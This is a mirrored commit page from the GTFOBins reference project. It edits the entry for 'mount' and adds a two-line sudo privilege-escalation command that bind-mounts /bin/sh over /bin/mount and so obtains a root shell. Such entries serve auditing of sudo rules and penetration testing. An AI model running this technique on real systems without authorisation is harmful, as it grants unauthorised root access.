mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
Improve mount
This commit is contained in:
parent
e50f44521e
commit
a00f689760
@ -1,8 +1,8 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
- description: bind mount bash to the mount binary, as mount is sudo enabled.
|
- description: Exploit the fact that `mount` can be executed via `sudo` to *replace* the `mount` binary with a shell.
|
||||||
code: |
|
code: |
|
||||||
sudo mount -o bind /bin/bash /bin/mount
|
sudo mount -o bind /bin/sh /bin/mount
|
||||||
sudo mount
|
sudo mount
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user